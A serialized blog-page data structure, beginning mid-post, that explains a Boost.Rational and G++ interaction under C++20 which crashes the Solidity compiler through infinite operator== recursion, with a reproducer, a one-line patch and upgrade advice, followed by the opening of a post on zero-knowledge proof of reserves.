i));\n",{"type":26,"tag":475,"props":91018,"children":91019},{"class":477,"line":753},[91020],{"type":26,"tag":475,"props":91021,"children":91022},{"style":499},[91023],{"type":32,"value":851},{"type":26,"tag":475,"props":91025,"children":91026},{"class":477,"line":761},[91027],{"type":26,"tag":475,"props":91028,"children":91029},{"style":499},[91030],{"type":32,"value":20047},{"type":26,"tag":475,"props":91032,"children":91033},{"class":477,"line":770},[91034],{"type":26,"tag":475,"props":91035,"children":91036},{"style":499},[91037],{"type":32,"value":3607},{"type":26,"tag":475,"props":91039,"children":91040},{"class":477,"line":794},[91041],{"type":26,"tag":475,"props":91042,"children":91043},{"emptyLinePlaceholder":18},[91044],{"type":32,"value":545},{"type":26,"tag":475,"props":91046,"children":91047},{"class":477,"line":831},[91048,91052,91056,91060,91064,91068,91072,91076],{"type":26,"tag":475,"props":91049,"children":91050},{"style":482},[91051],{"type":32,"value":65909},{"type":26,"tag":475,"props":91053,"children":91054},{"style":499},[91055],{"type":32,"value":8430},{"type":26,"tag":475,"props":91057,"children":91058},{"style":482},[91059],{"type":32,"value":70102},{"type":26,"tag":475,"props":91061,"children":91062},{"style":505},[91063],{"type":32,"value":90249},{"type":26,"tag":475,"props":91065,"children":91066},{"style":499},[91067],{"type":32,"value":637},{"type":26,"tag":475,"props":91069,"children":91070},{"style":482},[91071],{"type":32,"value":70102},{"type":26,"tag":475,"props":91073,"children":91074},{"style":505},[91075],{"type":32,"value":90068},{"type":26,"tag":475,"props":91077,"children":91078},{"style":499},[91079],{"type":32,"value":5706},{"type":26,"tag":475,"props":91081,"children":91082},{"class":477,"line":845},[91083],{"type":26,"tag":475,"props":91084,"children":91085},{"style":499},[91086],{"type":32,"value":91087},"BOOST_CONSTEXPR\n",{"type":26,"tag":475,"props":91089,"children":91090},{"class":477,"line":854},[91091,91096,91101,91106,91111],{"type":26,"tag":475,"props":91092,"children":91093},{"style":482},[91094],{"type":32,"value":91095},"inline",{"type":26,"tag":475,"props":91097,"children":91098},{"style":482},[91099],{"type":32,"value":91100}," typename",{"type":26,"tag":475,"props":91102,"children":91103},{"style":499},[91104],{"type":32,"value":91105}," boost::",{"type":26,"tag":475,"props":91107,"children":91108},{"style":505},[91109],{"type":32,"value":91110},"enable_if_c",{"type":26,"tag":475,"props":91112,"children":91113},{"style":714},[91114],{"type":32,"value":91115}," \u003C\n",{"type":26,"tag":475,"props":91117,"children":91118},{"class":477,"line":862},[91119,91124,91129,91133,91137,91142,91146,91150],{"type":26,"tag":475,"props":91120,"children":91121},{"style":499},[91122],{"type":32,"value":91123}," rational_detail::is_compatible_integer\u003C",{"type":26,"tag":475,"props":91125,"children":91126},{"style":505},[91127],{"type":32,"value":91128},"Arg",{"type":26,"tag":475,"props":91130,"children":91131},{"style":499},[91132],{"type":32,"value":637},{"type":26,"tag":475,"props":91134,"children":91135},{"style":505},[91136],{"type":32,"value":90297},{"type":26,"tag":475,"props":91138,"children":91139},{"style":499},[91140],{"type":32,"value":91141},">::value, ",{"type":26,"tag":475,"props":91143,"children":91144},{"style":482},[91145],{"type":32,"value":29388},{"type":26,"tag":475,"props":91147,"children":91148},{"style":714},[91149],{"type":32,"value":10170},{"type":26,"tag":475,"props":91151,"children":91152},{"style":499},[91153],{"type":32,"value":91154},"::type\n",{"type":26,"tag":475,"props":91156,"children":91157},{"class":477,"line":885},[91158,91163,91168,91172,91176,91180,91184,91188,91192,91196,91200,91204,91208,91212,91216],{"type":26,"tag":475,"props":91159,"children":91160},{"style":482},[91161],{"type":32,"value":91162}," operator",{"type":26,"tag":475,"props":91164,"children":91165},{"style":499},[91166],{"type":32,"value":91167}," == (",{"type":26,"tag":475,"props":91169,"children":91170},{"style":482},[91171],{"type":32,"value":9363},{"type":26,"tag":475,"props":91173,"children":91174},{"style":505},[91175],{"type":32,"value":90249},{"type":26,"tag":475,"props":91177,"children":91178},{"style":482},[91179],{"type":32,"value":2816},{"type":26,"tag":475,"props":91181,"children":91182},{"style":2375},[91183],{"type":32,"value":90330},{"type":26,"tag":475,"props":91185,"children":91186},{"style":499},[91187],{"type":32,"value":637},{"type":26,"tag":475,"props":91189,"children":91190},{"style":482},[91191],{"type":32,"value":9363},{"type":26,"tag":475,"props":91193,"children":91194},{"style":505},[91195],{"type":32,"value":90084},{"type":26,"tag":475,"props":91197,"children":91198},{"style":499},[91199],{"type":32,"value":5519},{"type":26,"tag":475,"props":91201,"children":91202},{"style":505},[91203],{"type":32,"value":90297},{"type":26,"tag":475,"props":91205,"children":91206},{"style":499},[91207],{"type":32,"value":10170},{"type":26,"tag":475,"props":91209,"children":91210},{"style":482},[91211],{"type":32,"value":2816},{"type":26,"tag":475,"props":91213,"children":91214},{"style":2375},[91215],{"type":32,"value":89456},{"type":26,"tag":475,"props":91217,"children":91218},{"style":499},[91219],{"type":32,"value":647},{"type":26,"tag":475,"props":91221,"children":91222},{"class":477,"line":913},[91223],{"type":26,"tag":475,"props":91224,"children":91225},{"style":499},[91226],{"type":32,"value":10589},{"type":26,"tag":475,"props":91228,"children":91229},{"class":477,"line":926},[91230,91234,91238,91242],{"type":26,"tag":475,"props":91231,"children":91232},{"style":586},[91233],{"type":32,"value":39048},{"type":26,"tag":475,"props":91235,"children":91236},{"style":499},[91237],{"type":32,"value":16470},{"type":26,"tag":475,"props":91239,"children":91240},{"style":714},[91241],{"type":32,"value":8287},{"type":26,"tag":475,"props":91243,"children":91244},{"style":499},[91245],{"type":32,"value":91246}," b; \n",{"type":26,"tag":475,"props":91248,"children":91249},{"class":477,"line":948},[91250],{"type":26,"tag":475,"props":91251,"children":91252},{"style":499},[91253],{"type":32,"value":3607},{"type":26,"tag":35,"props":91255,"children":91256},{},[91257,91259,91265],{"type":32,"value":91258},"This was designed under C++17 semantics. Back then, ",{"type":26,"tag":53,"props":91260,"children":91262},{"className":91261},[],[91263],{"type":32,"value":91264},"rhs == lhs",{"type":32,"value":91266}," would fall back to member overloads if available. All good.",{"type":26,"tag":35,"props":91268,"children":91269},{},[91270,91272,91277,91278,91284],{"type":32,"value":91271},"But under ",{"type":26,"tag":53,"props":91273,"children":91275},{"className":91274},[],[91276],{"type":32,"value":89821},{"type":32,"value":21212},{"type":26,"tag":53,"props":91279,"children":91281},{"className":91280},[],[91282],{"type":32,"value":91283},"G++ \u003C 14",{"type":32,"value":179},{"type":26,"tag":82,"props":91286,"children":91287},{},[91288,91293,91298,91303],{"type":26,"tag":86,"props":91289,"children":91290},{},[91291],{"type":32,"value":91292},"G++ incorrectly chooses this non-member operator first",{"type":26,"tag":86,"props":91294,"children":91295},{},[91296],{"type":32,"value":91297},"C++20 reverses the comparison",{"type":26,"tag":86,"props":91299,"children":91300},{},[91301],{"type":32,"value":91302},"Which calls the same function again with arguments flipped",{"type":26,"tag":86,"props":91304,"children":91305},{},[91306],{"type":32,"value":91307},"And so on...",{"type":26,"tag":35,"props":91309,"children":91310},{},[91311,91313,91318],{"type":32,"value":91312},"This creates ",{"type":26,"tag":105,"props":91314,"children":91315},{},[91316],{"type":32,"value":91317},"infinite recursion",{"type":32,"value":353},{"type":26,"tag":35,"props":91320,"children":91321},{},[91322],{"type":32,"value":91323},"A minimal example:",{"type":26,"tag":465,"props":91325,"children":91327},{"code":91326,"language":28814,"meta":7,"className":28812,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[91328],{"type":26,"tag":53,"props":91329,"children":91330},{"__ignoreMap":7},[91331,91339,91351,91358,91373,91397,91420],{"type":26,"tag":475,"props":91332,"children":91333},{"class":477,"line":478},[91334],{"type":26,"tag":475,"props":91335,"children":91336},{"style":552},[91337],{"type":32,"value":91338},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":26,"tag":475,"props":91340,"children":91341},{"class":477,"line":516},[91342,91346],{"type":26,"tag":475,"props":91343,"children":91344},{"style":586},[91345],{"type":32,"value":90035},{"type":26,"tag":475,"props":91347,"children":91348},{"style":629},[91349],{"type":32,"value":91350}," \u003Cboost/rational.hpp>\n",{"type":26,"tag":475,"props":91352,"children":91353},{"class":477,"line":539},[91354],{"type":26,"tag":475,"props":91355,"children":91356},{"emptyLinePlaceholder":18},[91357],{"type":32,"value":545},{"type":26,"tag":475,"props":91359,"children":91360},{"class":477,"line":548},[91361,91365,91369],{"type":26,"tag":475,"props":91362,"children":91363},{"style":482},[91364],{"type":32,"value":18755},{"type":26,"tag":475,"props":91366,"children":91367},{"style":493},[91368],{"type":32,"value":90400},{"type":26,"tag":475,"props":91370,"children":91371},{"style":499},[91372],{"type":32,"value":882},{"type":26,"tag":475,"props":91374,"children":91375},{"class":477,"line":558},[91376,91381,91385,91389,91393],{"type":26,"tag":475,"props":91377,"children":91378},{"style":499},[91379],{"type":32,"value":91380}," boost::rational",{"type":26,"tag":475,"props":91382,"children":91383},{"style":714},[91384],{"type":32,"value":5519},{"type":26,"tag":475,"props":91386,"children":91387},{"style":482},[91388],{"type":32,"value":18755},{"type":26,"tag":475,"props":91390,"children":91391},{"style":714},[91392],{"type":32,"value":10170},{"type":26,"tag":475,"props":91394,"children":91395},{"style":499},[91396],{"type":32,"value":90429},{"type":26,"tag":475,"props":91398,"children":91399},{"class":477,"line":582},[91400,91404,91408,91412,91416],{"type":26,"tag":475,"props":91401,"children":91402},{"style":586},[91403],{"type":32,"value":16695},{"type":26,"tag":475,"props":91405,"children":91406},{"style":499},[91407],{"type":32,"value":90441},{"type":26,"tag":475,"props":91409,"children":91410},{"style":714},[91411],{"type":32,"value":8287},{"type":26,"tag":475,"props":91413,"children":91414},{"style":903},[91415],{"type":32,"value":2752},{"type":26,"tag":475,"props":91417,"children":91418},{"style":499},[91419],{"type":32,"value":2729},{"type":26,"tag":475,"props":91421,"children":91422},{"class":477,"line":596},[91423],{"type":26,"tag":475,"props":91424,"children":91425},{"style":499},[91426],{"type":32,"value":3607},{"type":26,"tag":35,"props":91428,"children":91429},{},[91430],{"type":32,"value":91431},"Expected output: nothing.",{"type":26,"tag":35,"props":91433,"children":91434},{},[91435],{"type":32,"value":91436},"Actual: segmentation fault (stack overflow).",{"type":26,"tag":35,"props":91438,"children":91439},{},[91440,91442,91449],{"type":32,"value":91441},"This exact pattern was ",{"type":26,"tag":116,"props":91443,"children":91446},{"href":91444,"rel":91445},"https://github.com/boostorg/rational/issues/43",[120],[91447],{"type":32,"value":91448},"reported and fixed in Boost rational",{"type":32,"value":91450},", but only in version 1.75+.",{"type":26,"tag":35,"props":91452,"children":91453},{},[91454],{"type":32,"value":91455},"Here’s the one-line fix:",{"type":26,"tag":465,"props":91457,"children":91459},{"code":91458,"language":40050,"meta":7,"className":40048,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[91460],{"type":26,"tag":53,"props":91461,"children":91462},{"__ignoreMap":7},[91463,91471,91478,91486,91494,91502,91509,91517,91525],{"type":26,"tag":475,"props":91464,"children":91465},{"class":477,"line":478},[91466],{"type":26,"tag":475,"props":91467,"children":91468},{"style":499},[91469],{"type":32,"value":91470},"template \u003Cclass Arg, class IntType>\n",{"type":26,"tag":475,"props":91472,"children":91473},{"class":477,"line":516},[91474],{"type":26,"tag":475,"props":91475,"children":91476},{"style":499},[91477],{"type":32,"value":91087},{"type":26,"tag":475,"props":91479,"children":91480},{"class":477,"line":539},[91481],{"type":26,"tag":475,"props":91482,"children":91483},{"style":499},[91484],{"type":32,"value":91485},"inline typename boost::enable_if_c \u003C\n",{"type":26,"tag":475,"props":91487,"children":91488},{"class":477,"line":548},[91489],{"type":26,"tag":475,"props":91490,"children":91491},{"style":499},[91492],{"type":32,"value":91493}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":26,"tag":475,"props":91495,"children":91496},{"class":477,"line":558},[91497],{"type":26,"tag":475,"props":91498,"children":91499},{"style":499},[91500],{"type":32,"value":91501}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":26,"tag":475,"props":91503,"children":91504},{"class":477,"line":582},[91505],{"type":26,"tag":475,"props":91506,"children":91507},{"style":499},[91508],{"type":32,"value":10589},{"type":26,"tag":475,"props":91510,"children":91511},{"class":477,"line":596},[91512],{"type":26,"tag":475,"props":91513,"children":91514},{"style":629},[91515],{"type":32,"value":91516},"- return a == b;\n",{"type":26,"tag":475,"props":91518,"children":91519},{"class":477,"line":610},[91520],{"type":26,"tag":475,"props":91521,"children":91522},{"style":903},[91523],{"type":32,"value":91524},"+ return a.operator==(b);\n",{"type":26,"tag":475,"props":91526,"children":91527},{"class":477,"line":650},[91528],{"type":26,"tag":475,"props":91529,"children":91530},{"style":499},[91531],{"type":32,"value":3607},{"type":26,"tag":35,"props":91533,"children":91534},{},[91535,91537,91542,91544,91549],{"type":32,"value":91536},"Instead of calling ",{"type":26,"tag":53,"props":91538,"children":91540},{"className":91539},[],[91541],{"type":32,"value":89867},{"type":32,"value":91543}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":26,"tag":53,"props":91545,"children":91547},{"className":91546},[],[91548],{"type":32,"value":89875},{"type":32,"value":353},{"type":26,"tag":35,"props":91551,"children":91552},{},[91553],{"type":32,"value":91554},"This prevents C++20 from triggering recursive rewrites.",{"type":26,"tag":18502,"props":91556,"children":91557},{},[],{"type":26,"tag":27,"props":91559,"children":91561},{"id":91560},"part-iv-how-this-breaks-solidity",[91562],{"type":32,"value":91563},"Part IV: How This Breaks Solidity",{"type":26,"tag":35,"props":91565,"children":91566},{},[91567,91569,91574],{"type":32,"value":91568},"The Solidity codebase uses ",{"type":26,"tag":53,"props":91570,"children":91572},{"className":91571},[],[91573],{"type":32,"value":89722},{"type":32,"value":91575}," to represent certain compile-time constant expressions.",{"type":26,"tag":35,"props":91577,"children":91578},{},[91579,91581,91587],{"type":32,"value":91580},"One snippet that can trigger this issue appears in ",{"type":26,"tag":53,"props":91582,"children":91584},{"className":91583},[],[91585],{"type":32,"value":91586},"DeclarationTypeChecker::endVisit",{"type":32,"value":179},{"type":26,"tag":465,"props":91589,"children":91591},{"code":91590,"language":28814,"meta":7,"className":28812,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[91592],{"type":26,"tag":53,"props":91593,"children":91594},{"__ignoreMap":7},[91595,91642,91667,91674,91752,91759,91812,91840,91847,91867,91874,91914,91921],{"type":26,"tag":475,"props":91596,"children":91597},{"class":477,"line":478},[91598,91602,91607,91611,91615,91620,91624,91629,91633,91637],{"type":26,"tag":475,"props":91599,"children":91600},{"style":586},[91601],{"type":32,"value":15285},{"type":26,"tag":475,"props":91603,"children":91604},{"style":499},[91605],{"type":32,"value":91606}," (Expression ",{"type":26,"tag":475,"props":91608,"children":91609},{"style":482},[91610],{"type":32,"value":9363},{"type":26,"tag":475,"props":91612,"children":91613},{"style":714},[91614],{"type":32,"value":4282},{"type":26,"tag":475,"props":91616,"children":91617},{"style":499},[91618],{"type":32,"value":91619}," length ",{"type":26,"tag":475,"props":91621,"children":91622},{"style":714},[91623],{"type":32,"value":786},{"type":26,"tag":475,"props":91625,"children":91626},{"style":2375},[91627],{"type":32,"value":91628}," _typeName",{"type":26,"tag":475,"props":91630,"children":91631},{"style":499},[91632],{"type":32,"value":353},{"type":26,"tag":475,"props":91634,"children":91635},{"style":493},[91636],{"type":32,"value":8215},{"type":26,"tag":475,"props":91638,"children":91639},{"style":499},[91640],{"type":32,"value":91641},"()) {\n",{"type":26,"tag":475,"props":91643,"children":91644},{"class":477,"line":516},[91645,91650,91654,91658,91662],{"type":26,"tag":475,"props":91646,"children":91647},{"style":499},[91648],{"type":32,"value":91649}," std::optional",{"type":26,"tag":475,"props":91651,"children":91652},{"style":714},[91653],{"type":32,"value":5519},{"type":26,"tag":475,"props":91655,"children":91656},{"style":499},[91657],{"type":32,"value":90727},{"type":26,"tag":475,"props":91659,"children":91660},{"style":714},[91661],{"type":32,"value":10170},{"type":26,"tag":475,"props":91663,"children":91664},{"style":499},[91665],{"type":32,"value":91666}," lengthValue;\n",{"type":26,"tag":475,"props":91668,"children":91669},{"class":477,"line":539},[91670],{"type":26,"tag":475,"props":91671,"children":91672},{"emptyLinePlaceholder":18},[91673],{"type":32,"value":545},{"type":26,"tag":475,"props":91675,"children":91676},{"class":477,"line":548},[91677,91681,91685,91689,91693,91697,91701,91705,91709,91714,91718,91722,91726,91730,91734,91739,91743,91747],{"type":26,"tag":475,"props":91678,"children":91679},{"style":586},[91680],{"type":32,"value":11988},{"type":26,"tag":475,"props":91682,"children":91683},{"style":499},[91684],{"type":32,"value":2775},{"type":26,"tag":475,"props":91686,"children":91687},{"style":2375},[91688],{"type":32,"value":8215},{"type":26,"tag":475,"props":91690,"children":91691},{"style":499},[91692],{"type":32,"value":13464},{"type":26,"tag":475,"props":91694,"children":91695},{"style":493},[91696],{"type":32,"value":29866},{"type":26,"tag":475,"props":91698,"children":91699},{"style":499},[91700],{"type":32,"value":29871},{"type":26,"tag":475,"props":91702,"children":91703},{"style":2375},[91704],{"type":32,"value":32455},{"type":26,"tag":475,"props":91706,"children":91707},{"style":714},[91708],{"type":32,"value":13892},{"type":26,"tag":475,"props":91710,"children":91711},{"style":2375},[91712],{"type":32,"value":91713}," length",{"type":26,"tag":475,"props":91715,"children":91716},{"style":499},[91717],{"type":32,"value":13464},{"type":26,"tag":475,"props":91719,"children":91720},{"style":493},[91721],{"type":32,"value":29866},{"type":26,"tag":475,"props":91723,"children":91724},{"style":499},[91725],{"type":32,"value":29871},{"type":26,"tag":475,"props":91727,"children":91728},{"style":2375},[91729],{"type":32,"value":32455},{"type":26,"tag":475,"props":91731,"children":91732},{"style":499},[91733],{"type":32,"value":13464},{"type":26,"tag":475,"props":91735,"children":91736},{"style":493},[91737],{"type":32,"value":91738},"category",{"type":26,"tag":475,"props":91740,"children":91741},{"style":499},[91742],{"type":32,"value":13750},{"type":26,"tag":475,"props":91744,"children":91745},{"style":714},[91746],{"type":32,"value":8287},{"type":26,"tag":475,"props":91748,"children":91749},{"style":499},[91750],{"type":32,"value":91751}," Type::Category::RationalNumber)\n",{"type":26,"tag":475,"props":91753,"children":91754},{"class":477,"line":558},[91755],{"type":26,"tag":475,"props":91756,"children":91757},{"style":499},[91758],{"type":32,"value":81464},{"type":26,"tag":475,"props":91760,"children":91761},{"class":477,"line":582},[91762,91767,91771,91776,91780,91785,91789,91794,91798,91803,91807],{"type":26,"tag":475,"props":91763,"children":91764},{"style":586},[91765],{"type":32,"value":91766}," else",{"type":26,"tag":475,"props":91768,"children":91769},{"style":586},[91770],{"type":32,"value":15493},{"type":26,"tag":475,"props":91772,"children":91773},{"style":499},[91774],{"type":32,"value":91775}," (std::optional",{"type":26,"tag":475,"props":91777,"children":91778},{"style":714},[91779],{"type":32,"value":5519},{"type":26,"tag":475,"props":91781,"children":91782},{"style":499},[91783],{"type":32,"value":91784},"ConstantEvaluator::TypedRational",{"type":26,"tag":475,"props":91786,"children":91787},{"style":714},[91788],{"type":32,"value":10170},{"type":26,"tag":475,"props":91790,"children":91791},{"style":499},[91792],{"type":32,"value":91793}," value ",{"type":26,"tag":475,"props":91795,"children":91796},{"style":714},[91797],{"type":32,"value":786},{"type":26,"tag":475,"props":91799,"children":91800},{"style":499},[91801],{"type":32,"value":91802}," ConstantEvaluator::",{"type":26,"tag":475,"props":91804,"children":91805},{"style":493},[91806],{"type":32,"value":37698},{"type":26,"tag":475,"props":91808,"children":91809},{"style":499},[91810],{"type":32,"value":91811},"(...))\n",{"type":26,"tag":475,"props":91813,"children":91814},{"class":477,"line":596},[91815,91820,91824,91828,91832,91836],{"type":26,"tag":475,"props":91816,"children":91817},{"style":499},[91818],{"type":32,"value":91819}," lengthValue ",{"type":26,"tag":475,"props":91821,"children":91822},{"style":714},[91823],{"type":32,"value":786},{"type":26,"tag":475,"props":91825,"children":91826},{"style":2375},[91827],{"type":32,"value":32209},{"type":26,"tag":475,"props":91829,"children":91830},{"style":499},[91831],{"type":32,"value":13464},{"type":26,"tag":475,"props":91833,"children":91834},{"style":2375},[91835],{"type":32,"value":38844},{"type":26,"tag":475,"props":91837,"children":91838},{"style":499},[91839],{"type":32,"value":2729},{"type":26,"tag":475,"props":91841,"children":91842},{"class":477,"line":610},[91843],{"type":26,"tag":475,"props":91844,"children":91845},{"emptyLinePlaceholder":18},[91846],{"type":32,"value":545},{"type":26,"tag":475,"props":91848,"children":91849},{"class":477,"line":650},[91850,91854,91858,91862],{"type":26,"tag":475,"props":91851,"children":91852},{"style":586},[91853],{"type":32,"value":11988},{"type":26,"tag":475,"props":91855,"children":91856},{"style":499},[91857],{"type":32,"value":2775},{"type":26,"tag":475,"props":91859,"children":91860},{"style":714},[91861],{"type":32,"value":20329},{"type":26,"tag":475,"props":91863,"children":91864},{"style":499},[91865],{"type":32,"value":91866},"lengthValue)\n",{"type":26,"tag":475,"props":91868,"children":91869},{"class":477,"line":679},[91870],{"type":26,"tag":475,"props":91871,"children":91872},{"style":499},[91873],{"type":32,"value":81464},{"type":26,"tag":475,"props":91875,"children":91876},{"class":477,"line":735},[91877,91881,91885,91889,91893,91897,91901,91905,91909],{"type":26,"tag":475,"props":91878,"children":91879},{"style":586},[91880],{"type":32,"value":91766},{"type":26,"tag":475,"props":91882,"children":91883},{"style":586},[91884],{"type":32,"value":15493},{"type":26,"tag":475,"props":91886,"children":91887},{"style":499},[91888],{"type":32,"value":2775},{"type":26,"tag":475,"props":91890,"children":91891},{"style":714},[91892],{"type":32,"value":4282},{"type":26,"tag":475,"props":91894,"children":91895},{"style":499},[91896],{"type":32,"value":89698},{"type":26,"tag":475,"props":91898,"children":91899},{"style":714},[91900],{"type":32,"value":8287},{"type":26,"tag":475,"props":91902,"children":91903},{"style":903},[91904],{"type":32,"value":2752},{"type":26,"tag":475,"props":91906,"children":91907},{"style":499},[91908],{"type":32,"value":2835},{"type":26,"tag":475,"props":91910,"children":91911},{"style":552},[91912],{"type":32,"value":91913}," // \u003C-- Infinite recursion happens here\n",{"type":26,"tag":475,"props":91915,"children":91916},{"class":477,"line":744},[91917],{"type":26,"tag":475,"props":91918,"children":91919},{"style":499},[91920],{"type":32,"value":81464},{"type":26,"tag":475,"props":91922,"children":91923},{"class":477,"line":753},[91924],{"type":26,"tag":475,"props":91925,"children":91926},{"style":499},[91927],{"type":32,"value":3607},{"type":26,"tag":35,"props":91929,"children":91930},{},[91931],{"type":32,"value":91932},"Under normal circumstances, this expression is benign. But:",{"type":26,"tag":82,"props":91934,"children":91935},{},[91936,91941,91946],{"type":26,"tag":86,"props":91937,"children":91938},{},[91939],{"type":32,"value":91940},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":26,"tag":86,"props":91942,"children":91943},{},[91944],{"type":32,"value":91945},"C++20 reverses the arguments",{"type":26,"tag":86,"props":91947,"children":91948},{},[91949],{"type":32,"value":91950},"The non-member operator recursively calls itself",{"type":26,"tag":35,"props":91952,"children":91953},{},[91954],{"type":32,"value":91955},"💥: segmentation fault.",{"type":26,"tag":18502,"props":91957,"children":91958},{},[],{"type":26,"tag":27,"props":91960,"children":91962},{"id":91961},"part-v-what-environments-are-affected",[91963],{"type":32,"value":91964},"Part V: What Environments are Affected?",{"type":26,"tag":35,"props":91966,"children":91967},{},[91968],{"type":32,"value":91969},"If a system uses any of the following:",{"type":26,"tag":82,"props":91971,"children":91972},{},[91973,91978,91983],{"type":26,"tag":86,"props":91974,"children":91975},{},[91976],{"type":32,"value":91977},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":26,"tag":86,"props":91979,"children":91980},{},[91981],{"type":32,"value":91982},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":26,"tag":86,"props":91984,"children":91985},{},[91986],{"type":32,"value":91987},"C++20 enabled (default in recent Solidity builds)",{"type":26,"tag":35,"props":91989,"children":91990},{},[91991,91993,91998,92000,92006],{"type":32,"value":91992},"They will encounter this crash ",{"type":26,"tag":105,"props":91994,"children":91995},{},[91996],{"type":32,"value":91997},"as soon as",{"type":32,"value":91999}," it processes a Solidity source with a length expression like ",{"type":26,"tag":53,"props":92001,"children":92003},{"className":92002},[],[92004],{"type":32,"value":92005},"T[0]",{"type":32,"value":92007}," or anything involving compile-time rational comparisons.",{"type":26,"tag":18502,"props":92009,"children":92010},{},[],{"type":26,"tag":27,"props":92012,"children":92014},{"id":92013},"recommendations",[92015],{"type":32,"value":92016},"Recommendations",{"type":26,"tag":82,"props":92018,"children":92019},{},[92020,92028],{"type":26,"tag":86,"props":92021,"children":92022},{},[92023],{"type":26,"tag":105,"props":92024,"children":92025},{},[92026],{"type":32,"value":92027},"Update Boost to ≥ 1.75",{"type":26,"tag":86,"props":92029,"children":92030},{},[92031],{"type":26,"tag":105,"props":92032,"children":92033},{},[92034],{"type":32,"value":92035},"Pin G++ to v14 or later",{"type":26,"tag":18502,"props":92037,"children":92038},{},[],{"type":26,"tag":27,"props":92040,"children":92041},{"id":2533},[92042],{"type":32,"value":2536},{"type":26,"tag":35,"props":92044,"children":92045},{},[92046],{"type":32,"value":92047},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":26,"tag":35,"props":92049,"children":92050},{},[92051,92053,92057],{"type":32,"value":92052},"But it ",{"type":26,"tag":105,"props":92054,"children":92055},{},[92056],{"type":32,"value":3682},{"type":32,"value":92058}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":26,"tag":35,"props":92060,"children":92061},{},[92062],{"type":32,"value":92063},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":26,"tag":35,"props":92065,"children":92066},{},[92067],{"type":32,"value":92068},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":26,"tag":2548,"props":92070,"children":92071},{},[92072],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":92074},[92075,92076,92081,92084,92085,92086,92087,92088],{"id":89758,"depth":516,"text":89761},{"id":89847,"depth":516,"text":89850,"children":92077},[92078,92079,92080],{"id":89853,"depth":539,"text":89856},{"id":89921,"depth":539,"text":89924},{"id":90012,"depth":539,"text":90015},{"id":90596,"depth":516,"text":90599,"children":92082},[92083],{"id":90602,"depth":539,"text":90605},{"id":90713,"depth":516,"text":90716},{"id":91560,"depth":516,"text":91563},{"id":91961,"depth":516,"text":91964},{"id":92013,"depth":516,"text":92016},{"id":2533,"depth":516,"text":2536},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":92093,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":92094,"description":92095,"date":92096,"author":13,"image":92097,"isFeatured":18,"onBlogPage":18,"tags":92099,"body":92102,"_type":2566,"_id":96878,"_source":2568,"_file":96879,"_stem":96880,"_extension":2571},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":92098,"width":17,"height":17},"/posts/por/title.png",[92100,92101],"zk","por",{"type":23,"children":92103,"toc":96855},[92104,92110,92122,92134,92139,92171,92185,92191,92203,92208,92213,92250,92255,92261,92266,92273,92278,92304,92309,92315,92335,92349,92357,92362,92367,92375,92388,92394,92476,92482,92487,92500,92505,92512,92536,92544,92549,92555,92560,93008,93021,93027,93032,93040,93058,93066,93079,93087,94748,94753,94760,94766,94771,94778,94794,94801,94809,94816,96327,96332,96339,96345,96350,96377,96382,96401,96407,96415,96433,96482,96490,96509,96531,96537,96550,96555,96562,96567,96630,96635,96642,96662,96668,96673,96679,96684,96728,96733,96741,96747,96752,96794,96799,96807,96812,96820,96824,96829,96842],{"type":26,"tag":27,"props":92105,"children":92107},{"id":92106},"what-is-a-proof-of-reserves",[92108],{"type":32,"value":92109},"What is a Proof of Reserves?",{"type":26,"tag":35,"props":92111,"children":92112},{},[92113,92115,92120],{"type":32,"value":92114},"At its heart, ",{"type":26,"tag":105,"props":92116,"children":92117},{},[92118],{"type":32,"value":92119},"Proof of Reserves (PoR)",{"type":32,"value":92121}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":26,"tag":35,"props":92123,"children":92124},{},[92125,92127,92132],{"type":32,"value":92126},"Think of it this way: ",{"type":26,"tag":105,"props":92128,"children":92129},{},[92130],{"type":32,"value":92131},"PoR",{"type":32,"value":92133}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":26,"tag":35,"props":92135,"children":92136},{},[92137],{"type":32,"value":92138},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification 